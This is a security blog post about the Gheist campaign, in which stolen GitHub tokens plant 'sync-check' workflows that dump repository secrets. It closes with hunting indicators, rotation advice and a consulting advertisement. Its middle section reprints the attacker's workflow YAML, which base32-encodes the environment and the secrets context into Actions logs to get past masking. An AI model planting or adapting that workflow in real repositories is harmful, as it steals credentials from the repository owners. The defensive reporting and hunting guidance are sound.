Skip to content

Gheist Just Turned Stolen GitHub Tokens Into a Secret-Dumping Conveyor Belt

Gheist Campaign: Stolen GitHub Tokens Dump Secrets via sync-check Workflow

Gheist Just Turned Stolen GitHub Tokens Into a Secret-Dumping Conveyor Belt

somebody steals a GitHub personal access token from an infostealer log, or from last year’s supply chain mess, and instead of quietly cloning your private repos they plant a workflow that prints every secret into the Actions log in base32, downloads the log through GitHub’s own API, and deletes the run before anyone notices. Wiz named the campaign Gheist after the user-agent stamped on every request. more than 13,500 planted branches across 850-plus accounts. no C2 domain to block. no zero day. just your tokens doing exactly what you authorized them to do.

What happened. Wiz Research (Rami McCarthy, Hila Ramati, published October 25, 2026) has tracked Gheist since September 15. The tool uses compromised GitHub tokens to push a workflow named sync-check onto branches named ci-sync- plus six random characters, with the commit message ci: sync config. The workflow base32-encodes the secrets context into the Actions log so GitHub’s secret masking (which only catches verbatim values) cannot redact them. The tool then pulls the log via the API and deletes the run. Public-repo approval holds shipped July 28, 2026 have largely blocked the public side. Private repositories and GitHub Enterprise remain exposed. Token sources include infostealer logs and earlier supply-chain compromises such as the March Trivy incident.

the workflow is embarrassingly short

the planted job looks roughly like this. permissions are empty, which restricts the ephemeral GITHUB_TOKEN the attacker does not need, and does nothing to the secrets context they do need:

name: sync-check
on: [push]
permissions: {}
jobs:
  sync:
    runs-on: ubuntu-latest
    timeout-minutes: 6
    steps:
      - name: build
        run: |
          env | base32 -w 120
          echo -n '${{ toJSON(secrets) }}' | base32 -w 120

three details make it work. GitHub only masks secrets that appear verbatim, so base32 sails through. permissions: {} does not touch repository or environment secrets. and when environments exist, Tool B (the later variant) expands them into a job matrix so production-scoped credentials get printed too.

Kali terminal hunting an organization for ci-sync- branches and sync-check.yml workflows matching the Gheist campaign.
Hunt step 1: any branch named ci-sync- followed by six characters, or a workflow named sync-check, is a page-someone event until proven otherwise.

why private repos and Enterprise still bleed

GitHub’s July 2026 approval hold for first-time contributors on public repositories stopped a huge slice of this campaign cold. that is real progress. the problem is the control does not cover private repositories or GitHub Enterprise Server, and that is exactly where Wiz saw secrets leave, cloud roles get assumed, and AWS Secrets Manager get enumerated hours later from the same organization.

as of October 24 the campaign was still evolving. Tool A uses a hexadecimal branch suffix and a plain payload. Tool B uses a base36 suffix, added timeouts and the environment matrix within hours of its first run, and later pushed a second job named sync-host that targets self-hosted runners, writing helper files and hunting home directories for AI provider keys, cloud tokens, and private keys. roughly two thirds of implicated accounts were gone from GitHub by late October, which Wiz attributes to response activity after they reported it.

Kali terminal inspecting a planted sync-check workflow that base32-encodes repository secrets into Actions logs.
Hunt step 2: the planted sync-check.yml is short, unsigned, and base32s secrets. decode a captured log and you will see why masking never fired.

how to hunt your org today

  • search every repo you own for branches matching ci-sync-*.
  • search for workflows named sync-check or blobs matching the known SHAs Wiz published (including f3da2b8b357dcda02fd455d314be2a95007516a6 and siblings).
  • look for recently deleted Actions runs and for API traffic with the gheist user-agent.
  • check self-hosted runners for .gdmp_pat, .gdmp_patg, and .gdmp_sweep.
  • review OIDC cloud role assumptions that originated from those branches.
Kali terminal listing and revoking a compromised personal access token, then checking for deleted Actions runs.
Containment: revoke the token, rotate every secret that run could have seen, then audit deleted Actions runs and cloud OIDC assumes.

what to rotate, right now

if you find a planted branch, treat every secret reachable by that token as burned. that means repository secrets, environment secrets, organization secrets the token could read, and any cloud credentials that Actions might have assumed. revoke the PAT or fine-grained token. delete the branch and the workflow. then tighten what tokens can do: short lifetimes, least privilege, no org-wide classic PATs sitting in developer laptops next to a browser that will one day eat an infostealer.

Gheist is not a GitHub zero day. it is the predictable endgame of long-lived tokens living in the same place as stealer malware, plus a platform feature that will happily print your secrets if you ask nicely in the wrong encoding. rotate, hunt the branches, and stop pretending a classic PAT with repo scope is a temporary convenience.

if your CI tokens are older than your last stealer report, get a second set of eyes on the blast radius. Book a slot with Dark Edge Consulting.